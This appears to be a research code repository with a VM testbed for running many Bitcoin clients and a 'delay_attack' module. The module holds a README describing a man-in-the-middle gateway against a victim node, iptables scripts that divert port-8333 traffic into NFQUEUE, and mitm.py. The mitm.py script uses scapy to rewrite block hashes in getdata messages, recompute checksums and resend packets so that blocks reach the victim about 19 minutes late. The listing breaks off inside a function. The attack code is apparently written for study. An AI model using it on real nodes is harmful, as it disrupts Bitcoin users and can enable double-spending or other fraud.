├── testbed
├── ub1404
│ ├── README.md
│ └── ub1404golden
│ │ └── README.md
├── namespace
├── Makefile
├── README.md
├── cloneCtrl.py
└── MRUN.py
└── delay_attack
├── disable_nfd.sh
├── enable_nfq0.sh
├── README.md
└── mitm.py
/testbed/ub1404/README.md:
--------------------------------------------------------------------------------
1 | # Directory with all images of vms
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/testbed/ub1404/ub1404golden/README.md:
--------------------------------------------------------------------------------
1 | # Directory for golden image
2 | check readme of the testbed directory
3 |
--------------------------------------------------------------------------------
/delay_attack/disable_nfd.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | iptables -F
4 | iptables -X
5 | iptables -F -t nat
6 | iptables -X -t nat
7 |
8 | # todo: do the same for mangel and ipv6
9 |
10 | echo 1 > /proc/sys/net/ipv4/ip_forward
11 |
12 |
13 |
14 |
15 | iptables -t nat -A POSTROUTING -s 20.0.0.0/24 -o eth0 -j MASQUERADE
16 |
17 | iptables -A FORWARD -j LOG --log-level 2 --log-prefix pkt_in_fwd
--------------------------------------------------------------------------------
/delay_attack/enable_nfq0.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | iptables -F
4 | iptables -X
5 | iptables -F -t nat
6 | iptables -X -t nat
7 |
8 | # todo: do the same for mangel and ipv6
9 |
10 | echo 1 > /proc/sys/net/ipv4/ip_forward
11 |
12 | iptables -A FORWARD -p tcp --dport 8333 -j NFQUEUE
13 |
14 |
15 |
16 | iptables -t nat -A POSTROUTING -s 20.0.0.0/24 -o eth0 -j MASQUERADE
17 |
18 | iptables -A FORWARD -j LOG --log-level 2 --log-prefix pkt_in_fwd
19 |
20 |
--------------------------------------------------------------------------------
/testbed/namespace:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 |
4 |
5 | for i in {1..5};
6 | do
7 | echo ip netns add ns_eth$i
8 | ip netns add ns_eth$i
9 | echo
10 |
11 | echo ip link set eth$i netns ns_eth$i
12 | ip link set eth$i netns ns_eth$i
13 |
14 | echo ip netns exec ns_eth$i ip link set eth$i up
15 | ip netns exec ns_eth$i ip link set eth$i up
16 |
17 | echo ip netns exec ns_eth$i dhclient eth$i
18 | ip netns exec ns_eth$i dhclient eth$i
19 | ip netns exec ns_eth$i ifconfig lo 127.0.0.1 up
20 | done
21 |
--------------------------------------------------------------------------------
/delay_attack/README.md:
--------------------------------------------------------------------------------
1 | # Man in The Middle Software
2 |
3 |
4 | ## Experimental Set-up
5 |
6 | ___MiTM___
7 | | |
8 | | nfq |
9 | | |
10 | Btc Network |<-------------- | GATEWAY |<--------------- Victim
11 | --------------> | |---------------> (20.0.0.X)
12 | (82.2.X.Y) (20.0.0.1)
13 |
14 |
15 |
16 |
17 |
18 | To run this you will need two Ubuntu machines connected via an Ethernet cable. One machine will act as a Victim and the other as the Man In the Middle.
19 |
20 |
21 |
22 | ### Attacker
23 | The attacker node also runs on a regular ubuntu machine and acts as gateway to the victim.
24 | It has a public IP in eth0 and private IP, namely 20.0.0.1, in eth1.
25 |
26 | In the attacker's machine add IP address to the interface in which the cable is connected.
27 |
28 | $ sudo ip addr add 20.0.0.1/24 dev eth1
29 |
30 |
31 |
32 | ### Victim
33 | The victim node runs the Bitcoin software v0.12.1. on a regular Ubuntu machine.
34 | The victim has only one private IP in the range 20.0.0.0/24
35 | and uses the gateway to connect to the Internet.
36 |
37 | In the victim's machine, add an IP address and a gateway.
38 |
39 | $ sudo ip addr add 20.0.0.9/24 dev eth0
40 | $ sudo route add default gw 20.0.0.1 eth0
41 |
42 | Start the bitcoin client if it is not already running.
43 |
44 |
45 | Start the attacker's software (in the attacker's machine)
46 |
47 | $ sudo python mitm.py
48 |
49 |
50 | Enable forwarding of Bitcoin traffic to the NFQ
51 |
52 | $ sudo ./enable_nfq0.sh
53 |
54 | Disable forwarding of Bitcoin traffic to the NFQ
55 |
56 | $ sudo ./disable_nfd.sh
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
--------------------------------------------------------------------------------
/testbed/Makefile:
--------------------------------------------------------------------------------
1 |
2 | BITCOIND=bitcoind
3 | BITCOINCLI=bitcoin-cli
4 | B1_FLAGS=
5 | B2_FLAGS=
6 | B1=-datadir=1 $(B1_FLAGS)
7 | B2=-datadir=2 $(B2_FLAGS)
8 | B3=-datadir=3 $(B1_FLAGS)
9 | B4=-datadir=4 $(B2_FLAGS)
10 | B5=-datadir=5 $(B1_FLAGS)
11 |
12 |
13 |
14 | BLOCKS=1
15 | ADDRESS=
16 | AMOUNT=
17 | ACCOUNT=
18 |
19 | startall:
20 | $(BITCOIND) $(B1) -daemon -debug
21 | $(BITCOIND) $(B2) -daemon -debug
22 | $(BITCOIND) $(B3) -daemon -debug
23 | $(BITCOIND) $(B4) -daemon -debug
24 | $(BITCOIND) $(B5) -daemon -debug
25 |
26 |
27 | start1:
28 | sudo ip netns exec ns_eth1 $(BITCOIND) $(B1) -daemon -debug
29 |
30 | start2:
31 | sudo ip netns exec ns_eth2 $(BITCOIND) $(B2) -daemon -debug
32 |
33 | start3:
34 | sudo ip netns exec ns_eth3 $(BITCOIND) $(B3) -daemon -debug
35 |
36 | start4:
37 | sudo ip netns exec ns_eth4 $(BITCOIND) $(B4) -daemon -debug
38 |
39 | start5:
40 | sudo ip netns exec ns_eth5 $(BITCOIND) $(B5) -daemon -debug
41 |
42 |
43 |
44 | start-gui:
45 | $(BITCOINGUI) $(B1) &
46 | $(BITCOINGUI) $(B2) &
47 |
48 | generate1:
49 | sudo ip netns exec ns_eth1 $(BITCOINCLI) $(B1) setgenerate true $(BLOCKS)
50 |
51 |
52 | generate2:
53 | sudo ip netns exec ns_eth2 $(BITCOINCLI) $(B2) setgenerate true $(BLOCKS)
54 |
55 |
56 | generate3:
57 | sudo ip netns exec ns_eth3 $(BITCOINCLI) $(B3) setgenerate true $(BLOCKS)
58 |
59 |
60 | generate4:
61 | sudo ip netns exec ns_eth4 $(BITCOINCLI) $(B4) setgenerate true $(BLOCKS)
62 |
63 |
64 | generate5:
65 | sudo ip netns exec ns_eth5 $(BITCOINCLI) $(B5) setgenerate true $(BLOCKS)
66 |
67 |
68 |
69 |
70 | getinfo:
71 | $(BITCOINCLI) $(B1) getinfo
72 | $(BITCOINCLI) $(B1) getpeerinfo
73 | getpeernum:
74 | $(BITCOINCLI) $(B0) getpeerinfo | grep id | wc -l
75 | $(BITCOINCLI) $(B1) getpeerinfo | grep id | wc -l
76 |
77 | getpeers:
78 | $(BITCOINCLI) $(B1) getpeerinfo | grep addr
79 |
80 | send:
81 | $(BITCOINCLI) $(B1) sendtoaddress $(ADDRESS) $(AMOUNT)
82 |
83 | address:
84 | $(BITCOINCLI) $(B1) getnewaddress $(ACCOUNT)
85 |
86 |
87 |
88 | stop1:
89 | sudo ip netns exec ns_eth1 $(BITCOINCLI) $(B1) stop
90 | stop2:
91 | sudo ip netns exec ns_eth2 $(BITCOINCLI) $(B2) stop
92 | stop3:
93 | sudo ip netns exec ns_eth3 $(BITCOINCLI) $(B3) stop
94 | stop4:
95 | sudo ip netns exec ns_eth4 $(BITCOINCLI) $(B4) stop
96 | stop5:
97 | sudo ip netns exec ns_eth5 $(BITCOINCLI) $(B5) stop
98 |
99 | stopall:
100 | $(BITCOINCLI) $(B0) stop
101 | $(BITCOINCLI) $(B1) stop
102 | $(BITCOINCLI) $(B2) stop
103 | $(BITCOINCLI) $(B3) stop
104 | $(BITCOINCLI) $(B4) stop
105 | $(BITCOINCLI) $(B5) stop
106 | $(BITCOINCLI) $(B6) stop
107 | $(BITCOINCLI) $(B7) stop
108 |
109 |
110 | clean:
111 | find 1/regtest/* -not -name 'server.*' -delete
112 | find 2/regtest/* -not -name 'server.*' -delete
--------------------------------------------------------------------------------
/testbed/README.md:
--------------------------------------------------------------------------------
1 | # VM testbed
2 | ___Requirements___
3 |
4 | $ sudo apt-get install qemu-kvm
5 | $ sudo apt-get install x11-apps virt-manager
6 |
7 |
8 | ### Build the required repositories
9 |
10 | $ mkdir out; mkdir in; mkdir conf; mkdir _dumps
11 | $ mkdir -p ub1404/BASE
12 |
13 | Download the the [image](https://www.dropbox.com/s/yjme2vtyj5043qe/ub1404_golden.qcow2?dl=0
14 | ) and the [configurations](https://www.dropbox.com/s/i2800iifq1j2947/ub1404_golden.xml?dl=0). Copy them to testbed/ub1404/ub1404_golden/
15 |
16 |
17 |
18 |
19 | ### Add your key to the golden image
20 |
21 | Type virt-manager to the server and start the ub1404_golden vm.
22 | Connect to it and copy your public key to the .ssh/config/authorizedkeys.
23 | if you don't do that when you will be asked to give a passworrd when you ssh into the vms you will create.
24 |
25 | ### Add 5 more interfecase to the goldenimage
26 |
27 | $ cd golden ub1404/ub1404_golden/
28 | $ virsh define ub1404_golden.xml
29 | $ ./cloneCtrl.py newBase
30 |
31 |
32 | ## Set-up VMs
33 | The following instructions willl help you create N vms.
34 | Each of these will by default run 5 clients.
35 |
36 | $ chmod +x MRUN.py
37 | Create N vms with indeces 1 to N.
38 |
39 | $ sudo ./MRUN.py make_hosts 1 N
40 |
41 | Randomely selects IPs for each client. Saves mapping in the 'in' directory.
42 | Create suitable xml to let vitrtmanger create the networks.
43 | Updates the ssh/config of the server to allow easy ssh to the vm.
44 |
45 | $ sudo ./MRUN.py write_nets 1 N new
46 |
47 | Create all networks, asign them to vms and start them.
48 |
49 | $ sudo ./MRUN.py create_nets 1 N
50 | $ sudo ./MRUN.py asign 1 N
51 | $ sudo ./MRUN.py start_vms 1 N
52 |
53 |
54 | You should be able to connect to a vm simply by typing ssh vmX (X == the index of your vm). If you are asked for a password then you have not added your public key in the golden image.
55 |
56 |
57 | ## Run Bitcoin clients
58 |
59 | If you are useing our golden image the
60 | [bitcoin-testnet-box](https://github.com/freewil/bitcoin-testnet-box) will already be in each vm.
61 | Still we need to change the owner of the Bitcoin directory.
62 |
63 | $ ./MRUN.py chown 1 N
64 | $ chmod +x namespace
65 | $ cp namespace conf/*/
66 | $ chmod +x Makefile
67 | $ cp Makefile conf/*/
68 |
69 | Change the configuration of the clients to run using a specific IP.
70 | Copy using rsync the custimozed for each vm configuration.
71 |
72 | $ sudo ./MRUN.py bind 1 N
73 | $ ./MRUN.py rsync 1 N
74 |
75 | Create namespaces in each VM to allow multiple *independent* clients per VM
76 |
77 | $ ./MRUN.py ns 1 N
78 |
79 |
80 |
81 | Start the bitcoin clients in each VM
82 |
83 | $ ./MRUN.py run_start 1 N
84 |
85 | Instruct the nodes to establish k random connections
86 | Note that their peers.dat is empty in the first run.
87 |
88 | $ ./MRUN.py new_connections 1 N k
89 |
90 |
91 | In the MRUN.py change the controller='TO_BE_CHANGED'. Select one vm to be the controller, the controller is used to request Bitcoin status from each vm
92 |
93 | You can use 'giveme' to access the [API of each Bitcoin client](https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list).
94 | For instance the following will return the client's peers, the blockchain length and object containing various state info respectively of the third client running on vm 1
95 |
96 | $ ./MRUN.py giveme 1 3 getpeerinfo
97 | $ ./MRUN.py giveme 1 3 'getblockcount'
98 | $ ./MRUN.py giveme 1 3 getinfo
99 |
100 |
101 | ## Destroy vms
102 | The testbed will consume a lot of resources of the sever make sure you clean it properly.
103 |
104 | $ ./MRUN.py stop_btc 1 N
105 | $ ./MRUN.py stop_hosts 1 N
106 | $ ./MRUN.py delete_nets 1 N
107 | $ sudo ./MRUN.py delete_hosts 1 N
108 |
109 | ## Please contact me if you have questions
110 | apmaria at ethz dot ch
111 |
--------------------------------------------------------------------------------
/testbed/cloneCtrl.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | #based on code developed by David Gugelmann
3 | import sys
4 | import os
5 | import re
6 | import shutil
7 | import datetime
8 | import time
9 |
10 | ROOT_DIR = './ub1404'
11 | GOLDEN_DOMAIN = 'ub1404_golden'
12 | IMAGE_DOMAIN_PREFIX = 'ub1404-'
13 |
14 | def run(cmd, remoteHost=None):
15 | '''Executes command on local host if remoteHost==None or on remoteHost using ssh.
16 | Output of command is not redirected.
17 | Raises an exception of type 'CalledProcessError' if the exit status of the command is not 0 (this also works when using ssh)
18 | '''
19 | import subprocess
20 | if remoteHost:
21 | #cmd = '/usr/bin/ssh %s %s' % (remoteHost, cmd)
22 | cmd = '/usr/bin/ssh %s \'%s\'' % (remoteHost, cmd)
23 | subprocess.check_call(cmd, shell=True)
24 |
25 |
26 |
27 |
28 | def test():
29 | print "hello"
30 | return
31 |
32 |
33 |
34 | def runo(cmd, remoteHost=None):
35 | '''Executes command on local host if remoteHost==None or on remoteHost using ssh.
36 | Raises an exception of type 'CalledProcessError' if the exit status of the command is not 0 (this also works when using ssh).
37 | In the case of an exception, the output is available in 'CalledProcessError.out'.
38 | @return: (stdout, stderr) of command
39 | '''
40 | import subprocess
41 | if remoteHost:
42 | cmd = '/usr/bin/ssh %s \'%s\'' % (remoteHost, cmd)
43 | #cmd = '/usr/bin/ssh %s %s' % (remoteHost, cmd)
44 | p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr = subprocess.PIPE)
45 | out = p.communicate()
46 | if p.returncode != 0:
47 | e = subprocess.CalledProcessError(p.returncode, cmd)
48 | e.out = out
49 | raise e
50 | return out
51 | #stdout=subprocess.PIPE
52 | def runb(cmd, remoteHost=None,shell=True):
53 | import subprocess, os
54 | assert (shell or type (cmd) is list), "shell==True with string or shell==False with list "
55 | global runb_running_processes_x023xmbhhm218b48xng
56 | if remoteHost:
57 | cmd = '/usr/bin/ssh %s %s' % (remoteHost, cmd)
58 | #cmd = '/usr/bin/ssh %s \'%s\'' % (remoteHost, cmd)
59 | p = subprocess.Popen(cmd, shell=shell, preexec_fn=os.setsid)
60 | print p.pid
61 | # ^-- The os.setsid() is passed in the argument preexec_fn so
62 | # it's run after the fork() and before exec() to run the shell.
63 | # Otherwise only the shelreloadl but not the cmd is killed on p.kill().
64 | # [ http://stackoverflow.com/questions/4789837/how-to-terminate-a-python-subprocess-launched-with-shell-true ]
65 | try: runb_running_processes_x023xmbhhm218b48xng.append((p, cmd))
66 | except NameError: runb_running_processes_x023xmbhhm218b48xng = [(p, cmd)]
67 | return p
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 | def newBase():
77 | c1 = CloneCtrl(ROOT_DIR, GOLDEN_DOMAIN)
78 | c1.copyMainToBase()
79 |
80 |
81 | def clone(nbrClones, suffixes):
82 | c1 = CloneCtrl(ROOT_DIR, GOLDEN_DOMAIN)
83 | id = c1.getFreeId()
84 | for s in suffixes:
85 | for t in range(nbrClones):
86 | c1.createNewImageBasedOnNewestBaseAndRegisterIt(id, IMAGE_DOMAIN_PREFIX)
87 | #start('%s%i' % (IMAGE_DOMAIN_PREFIX, id))
88 | id = id + 1
89 |
90 |
91 | def start(domain):
92 | run('%s start %s' % (CloneCtrl.VIR, domain))
93 |
94 |
95 | def stop(domain):
96 | run('%s destroy %s' % (CloneCtrl.VIR, domain))
97 |
98 |
99 | def stopAndDelete(domain):
100 | if len(re.compile("\d+$").findall(domain)) != 1:
101 | raise Exception('Only domain names ending with a number may be destroyed and deleted!') # make sure that golden domains can not be deleted accidentially
102 | cc = CloneCtrl('/tmp', domain) # rootDir does not matter
103 | if domain in cc.getRunningDomains():
104 | stop(domain)
105 | run('%s undefine %s' % (CloneCtrl.VIR, domain))
106 | os.remove(cc.mainImage)
107 | os.rmdir(os.path.dirname(cc.mainImage))
108 |
109 |
110 | def mount(domain):
111 | cc = CloneCtrl('/tmp', domain) # rootDir does not matter
112 | cc.mountImage(cc.mainImage, 2)
113 | out("'%s' mounted on '%s'" % (cc.mainImage, cc.IMAGE_MOUNT_PATH))
114 |
115 |
116 | def umount(domain):
117 | cc = CloneCtrl('/tmp', domain)
118 | cc.umountImage()
119 |
120 |
121 | def main():
122 | try: cmd = sys.argv[1]
123 | except: usage()
124 |
125 | if cmd == 'newBase':
126 | newBase()
127 | elif cmd == 'clone':
128 | try: nbrClones = int(sys.argv[2])
129 | except: usage()
130 | suffixes = sys.argv[3:]
131 | if not len(suffixes): usage()
132 | clone(nbrClones, suffixes)
133 | else:
134 | try: domain = sys.argv[2]
135 | except: usage()
136 |
137 | if cmd == 'start':
138 | start(domain)
139 | elif cmd == 'stop':
140 | stop(domain)
141 | elif cmd == 'stopAndDelete':
142 | stopAndDelete(domain)
143 | elif cmd == 'mount':
144 | mount(domain)
145 | elif cmd == 'umount':
146 | umount(domain)
147 | else:
148 | usage()
149 |
150 | def usage():
151 | sys.stderr.write('usage: %s newBase | clone [... ] | start | stop | stopAndDelete | mount | umount \n' % sys.argv[0])
152 | sys.exit(-1)
153 |
154 |
155 |
156 |
157 | def out(str):
158 | print str
159 |
160 |
161 |
162 |
163 |
164 | ## end helpers
165 |
166 | class CloneCtrl():
167 | VIR = '/usr/bin/virsh -c qemu:///system'
168 | QEMU_IMG = '/usr/bin/qemu-img'
169 | VIRT_CLONE = '/usr/bin/virt-clone --connect=qemu:///system'
170 | KVM_NBD = '/usr/bin/qemu-nbd'
171 | MOUNT = '/bin/mount'
172 | UMOUNT = '/bin/umount'
173 |
174 | IMAGE_STORAGE_HOST = 'pisco'
175 | BASE_IMAGE_PREFIX = 'BASE'
176 | IMAGE_FORMAT = 'qcow2'
177 | IMAGE_MOUNT_PATH = '/tmp/image'
178 |
179 | def __init__(self, rootDir, mainDomain):
180 | self.cmdHost = None
181 | if runo('hostname')[0].rstrip() != self.IMAGE_STORAGE_HOST:
182 | self.cmdHost = self.IMAGE_STORAGE_HOST
183 |
184 | if shutil.abspath(rootDir) != rootDir:
185 | Exception('Absolute base path required!')
186 | self.rootDir = shutil.abspath(rootDir) # removes trailing slashes
187 | self.baseDir = '%s/%s' % (self.rootDir, self.BASE_IMAGE_PREFIX)
188 | self.mainDomain = mainDomain
189 |
190 | self.mainImage = self.getImagePathForDomain(self.mainDomain)
191 |
192 |
193 | def getImagePathForDomain(self, domain):
194 | out = runo('%s dumpxml %s' % (self.VIR, domain), self.cmdHost)[0]
195 | imgs = re.compile("").findall(out)
196 | assert(len(imgs) == 1), imgs
197 | assert(imgs[0].endswith(self.IMAGE_FORMAT))
198 | return imgs[0]
199 |
200 | def getRunningDomains(self):
201 | domains = []
202 | out = runo('%s list' % self.VIR, self.cmdHost)[0]
203 | for r in out.split('\n'):
204 | s = r.split()
205 | if len(s) == 3 and s[1] != 'Name':
206 | domains.append(s[1])
207 | return domains
208 |
209 |
210 | def copyMainToBase(self):
211 | if self.mainDomain in self.getRunningDomains():
212 | raise Exception('Golden domain still running! Shut it down first!')
213 | assert(os.path.isdir(self.baseDir)), "create '%s' if you run this scirpt for the first time, otherwise check why this folder is missing!" % self.baseDir
214 | dt = datetime.datetime.today().strftime("%Y%m%d_%H%M%S")
215 | dst = '%s/%s-%s.%s' % (self.baseDir, self.mainDomain, dt, self.IMAGE_FORMAT)
216 | out("copying golden image '%s' to base '%s'" % (self.mainImage, dst))
217 | shutil.copyfile(self.mainImage, dst)
218 |
219 |
220 | def createNewImageBasedOnNewestBaseAndRegisterIt(self, id, prefix):
221 | '''@see http://www.linux-kvm.com/content/how-you-can-use-qemukvm-base-images-be-more-productive-part-1
222 |
223 | 1) we clone the image using a template base image
224 | 2) we use virt-clone with the preserve-data option set to create a libvirt config for the new image based on the golden image config
225 |
226 | use qemu-img info to show info
227 | '''
228 | print self.baseDir
229 | assert(os.path.isdir(self.baseDir))
230 | baseImage = self.baseDir + '/' + sorted(os.listdir(self.baseDir))[-1]
231 | domain = prefix + str(id)
232 | dstDir = '%s/%s' % (self.rootDir, id)
233 | if os.path.isdir(dstDir):
234 | raise Exception("'%s' already exists!" % dstDir)
235 | os.mkdir(dstDir)
236 | dst = '%s/img.%s' % (dstDir, self.IMAGE_FORMAT)
237 | out("creating image '%s' based on '%s'" % (dst, baseImage))
238 | run('%s create -b %s -f %s %s' % (self.QEMU_IMG, baseImage, self.IMAGE_FORMAT, dst))
239 | run('%s -o %s -n %s --preserve-data -f %s' % (self.VIRT_CLONE, self.mainDomain, domain, dst))
240 |
241 |
242 | def mountImage(self, imagePath, partition_nbr=1):
243 | '''@see http://tjworld.net/wiki/Linux/MountQemuQcowImages
244 | @see http://blog.loftninjas.org/2008/10/27/mounting-kvm-qcow2-qemu-disk-images/
245 |
246 | ONLY ONE IMAGE CAN BE MOUNTED AT A TIME BECAUSE WE ALWAYS USE '/dev/nbd0' AND A FIXED IMAGE_MOUNT_PATH
247 |
248 | In case of errors, try to install sudo apt-get install nbd-client.
249 |
250 | '''
251 | run('sudo modprobe nbd')
252 | try:
253 | os.mkdir(self.IMAGE_MOUNT_PATH)
254 | except:
255 | pass
256 | run('sudo %s -c /dev/nbd0 %s' % (self.KVM_NBD, imagePath))
257 | for i in range(5): # device is sometimes not ready
258 | time.sleep(2**i)
259 | try:
260 | run('sudo %s /dev/nbd0p%i %s' % (self.MOUNT, partition_nbr, self.IMAGE_MOUNT_PATH))
261 | break
262 | except:
263 | pass
264 |
265 |
266 | def umountImage(self):
267 | run('sudo %s %s' % (self.UMOUNT, self.IMAGE_MOUNT_PATH))
268 | runo('sudo %s -d /dev/nbd0' % (self.KVM_NBD)) # prints each time /dev/nbd0 disconnected
269 |
270 |
271 | def setName(self, domain, name):
272 | self.mountImage(self.getImagePathForDomain(domain))
273 | nameFile = '%s/%s.name' % (self.IMAGE_MOUNT_PATH, name)
274 | open(nameFile, 'w').close() # touch the python way :-)
275 | self.umountImage()
276 |
277 |
278 | def getFreeId(self):
279 | id = 215
280 | print self.rootDir
281 | for f in sorted(os.listdir(self.rootDir)):
282 | try: i = int(f)
283 | except: continue
284 | if i >= id:
285 | id = i+1
286 |
287 | return id
288 |
289 | if __name__ == '__main__':
290 | main()
291 |
--------------------------------------------------------------------------------
/delay_attack/mitm.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import sys
3 | import time
4 | import os,sys,nfqueue,socket
5 | from scapy.all import *
6 | import datetime
7 | from time import gmtime, strftime
8 | import argparse
9 | sys.path.insert(0, '/home/user/code/lib/python')
10 | import subprocess
11 | import helpers
12 | import time
13 | import logging
14 | import random
15 | from multiprocessing import Process, Pipe
16 | import re
17 | sys.path.insert(0, '/home/user/scapy-bitcoin/')
18 | import bitcoin
19 | import hexdump as q
20 | import hashlib
21 | sys.path.insert(0, '/home/user/scapy-bitcoin/')
22 | from threading import Thread
23 |
24 | OUTDIR='./'
25 | logging.basicConfig(filename=OUTDIR+'debug.log',level=logging.DEBUG)
26 | parser = argparse.ArgumentParser()
27 | parser.add_argument("prop", type=float, help="propability the attacker is on-path")
28 | args = parser.parse_args()
29 | prop=args.prop
30 |
31 |
32 |
33 |
34 | conf.verbose = 0
35 | conf.L3socket = L3RawSocket
36 | seqs=set()
37 | threads={}
38 | write_to={}
39 | delay=19
40 | getdata_any=re.compile('676574646174610000000000')
41 | block_getdata = re.compile('676574646174610000000000.*02000000') # precompliled regular expression for block getdata
42 |
43 | class Reader(Thread):
44 | def __init__(self, read_from,dst):
45 | super(Reader, self).__init__()
46 | self.daemon = True
47 | self.cancelled = False
48 | self.pipe=read_from
49 | self.buff=[]
50 | self.name=dst
51 | self.modified=False
52 | self.copy=None
53 | self.hashes={} #hash--> replaced with hash
54 | self.cur_pkt=None
55 | self.tup=None
56 | self.getdata_seq={}
57 | self.hashes={}
58 |
59 | def run(self):
60 | '''
61 | one thread is responsible for each bitcoin peer
62 | reads for assigned pipe and either changes the hash of the requested block to an old one (modify_hash)
63 | or the hash of the requested transaction back to the requested block
64 | '''
65 | while not self.cancelled:
66 | (frame_data, to_do) = self.pipe.recv()
67 | now = datetime.datetime.now()
68 | pkt=IP(frame_data)
69 | self.tup=(pkt.dst,pkt.id,pkt.len,pkt.seq)
70 | self.cur_pkt=pkt
71 | self.modified=False
72 | seq=pkt.seq
73 | #There might be multiple bitcoin message stored in a list of BitcoinHdrs in the packet
74 | #or just one message BitcoinHdr
75 | try:
76 | hdrs=self.cur_pkt[bitcoin.BitcoinHdrs]
77 | for i in range(len(hdrs.messages)):
78 | p=hdrs.messages[i]
79 | try:
80 | getdata=p[bitcoin.BitcoinGetdata]
81 | if to_do=='modify_hash':
82 | self.modify_hash(p)
83 | elif to_do=='restore_hash' and len(self.buff)>0 and (now-self.buff[0][1]).total_seconds() > delay * 60 :
84 | self.restore_hash(p, str(self.buff[0][0]) )
85 |
86 | except Exception as e:
87 | ftuple = [str(now)[11:16]] + map(str, list(self.tup)) + ['is not a getdata', str(e)]
88 | logging.error('\t'.join(ftuple))
89 |
90 |
91 | self.send()
92 |
93 | except Exception as e:
94 | pass
95 |
96 | try:
97 | p=self.cur_pkt[bitcoin.BitcoinHdr]
98 | try:
99 | getdata=p[bitcoin.BitcoinGetdata]
100 | if to_do=='modify_hash':
101 | self.modify_hash(p)
102 | elif to_do=='restore_hash' and len(self.buff)>0 and (now-self.buff[0][1]).total_seconds() > delay * 60 :
103 | self.restore_hash(p, str(self.buff[0][0]) )
104 |
105 | except Exception as e:
106 | ftuple = [str(now)[11:16]] + map(str, list(self.tup)) + ['is not a getdata', str(e)]
107 | logging.error('\t'.join(ftuple))
108 | self.send()
109 | except Exception as e:
110 | ftuple = [str(now)[11:16]] + map(str, list(self.tup)) + ['is a Segment / has no bitcoin Header', str(e)]
111 | logging.error('\t'.join(ftuple))
112 | self.send()
113 |
114 |
115 |
116 |
117 |
118 | def checksum(self,bitcoin_inv):
119 | '''
120 | we need to recompute the Bitcoin checksum
121 | otherwise the packet will be ignored by the bitcoin peer
122 | '''
123 | now=datetime.datetime.now()
124 | try:
125 | p=str(bitcoin_inv).encode("HEX")
126 | payload=hx.restore(p)
127 | check=(hashlib.sha256(hashlib.sha256(payload).digest())).hexdigest()
128 | except Exception as e:
129 | logging.debug('\t'.join(['ERROR checksum',e]))
130 |
131 | return check[:8]
132 |
133 | def modify_hash(self,bitcoin_hdr):
134 | now=datetime.datetime.now()
135 | inv=bitcoin_hdr[bitcoin.BitcoinGetdata]
136 | #can easily ask for more than 1 block in this case it asks multiple times for the same
137 |
138 | for i in range(len(inv.inventroy)):
139 | h=str(inv.inventroy[i].hash).encode('HEX')
140 | try:
141 | if inv.inventroy[i].type == 2: #
142 | self.modified=True
143 |
144 | if h in self.hashes:
145 | old_hash=self.hashes[h]
146 | ftuple = [str(now)[11:16]] + map(str, list(self.tup)) + ['change again hash ',h[:5],str(self.modified)]
147 | fftuple = [str(now)[11:16]] + map(str, list(self.tup)) + ['change again hash ',h[:5],str(self.modified)]
148 | logging.debug('\t'.join(ftuple))
149 |
150 |
151 | if len(self.buff)>0 and (now-self.buff[0][1]).total_seconds() > delay * 60:
152 | old_hash= self.buff.pop(0)[0]
153 | #self.[h]=old_hash
154 | self.buff.append((h ,now) )
155 | ftuple = [str(now)[11:16]] + map(str, list(self.tup)) + ['change & restore ',h[:5],old_hash[:5],str(self.modified)]
156 | fftuple = [str(now)[11:16]] + map(str, list(self.tup)) + ['change & restore ',h[:5],old_hash[:5],str(self.modified)]
157 | logging.debug('\t'.join(ftuple))
158 |
159 | else:
160 | old_hash='74152c6daea4075eff3cf06b59a1850ed3192555b1aa824be597a39a03ec18e5'
161 | #self.hashes[h]=old_hash
162 | self.buff.append((h ,now) )
163 | ftuple = [str(now)[11:16]] + map(str, list(self.tup)) + ['change with generic ',h[:5],str(self.modified)]
164 | fftuple = [str(now)[11:16]] + map(str, list(self.tup)) + ['change with generic ',h[:5],str(self.modified)]
165 | logging.debug('\t'.join(ftuple))
166 | inv.inventroy[i].hash=hx.restore(old_hash)
167 | bitcoin_hdr.checksum = int(self.checksum(inv)[:8],16)
168 |
169 | elif len(self.buff)>0 and (now-self.buff[0][1]).total_seconds() > delay * 60:
170 | inv.inventroy[i].type = 2
171 | self.modified=True
172 | old_hash= self.buff.pop(0)[0]
173 | #self.hashes[h]=old_hash
174 | inv.inventroy[i].hash=hx.restore(old_hash)
175 | bitcoin_hdr.checksum = int(self.checksum(inv)[:8],16)
176 |
177 | elif h in self.hashes:
178 | inv.inventroy[i].type = 2
179 | self.modified=True
180 | #self.hashes[h]=old_hash
181 | inv.inventroy[i].hash=hx.restore(h)
182 | bitcoin_hdr.checksum = int(self.checksum(inv)[:8],16)
183 |
184 |
185 | ftuple=fftuple+['finished ok']
186 | logging.debug('\t'.join(ftuple))
187 | except Exception as e:
188 | logging.debug('\t'.join(['error in modify_hash',e]))
189 | return
190 |
191 | def restore_hash(self,bitcoin_hdr,discarded ):
192 | now=datetime.datetime.now()
193 | inv=bitcoin_hdr[bitcoin.BitcoinGetdata]
194 | if len(inv.inventroy) != inv.count:
195 | return
196 | for i in range(inv.count):
197 | if inv.inventroy[i].type == 1:
198 | ftuple = [str(now)[11:16]] + map(str, list(self.tup)) + [' restore ',discarded[:5],str(self.modified)]
199 | try:
200 | inv.inventroy[i].type = 2
201 | self.modified=True
202 | inv.inventroy[i].hash=hx.restore(discarded)
203 | bitcoin_hdr.checksum = int(self.checksum(inv)[:8],16)
204 | self.buff.pop(0)
205 | break
206 | except Exception as e:
207 | print 'ERROR restore_hash',e
208 | return
209 | def send(self):
210 | now=datetime.datetime.now()
211 | ftuple = [str(now)[11:16]]+map(str, list(self.tup)) + ['should send',str(self.modified)]
212 | logging.debug('\t'.join(ftuple))
213 | self.getdata_seq[self.cur_pkt.seq]=( self.getdata_seq[self.cur_pkt.seq][0],(self.cur_pkt[TCP].payload).copy())
214 | try:
215 | if self.modified:
216 | del self.cur_pkt[IP].chksum
217 | del self.cur_pkt[TCP].chksum
218 |
219 | send(self.cur_pkt,iface='eth0')
220 | ftuple =[str(now)[11:16]]+map(str, list(self.tup)) + ['send finished ok',str(self.modified)]
221 | logging.debug('\t'.join(ftuple))
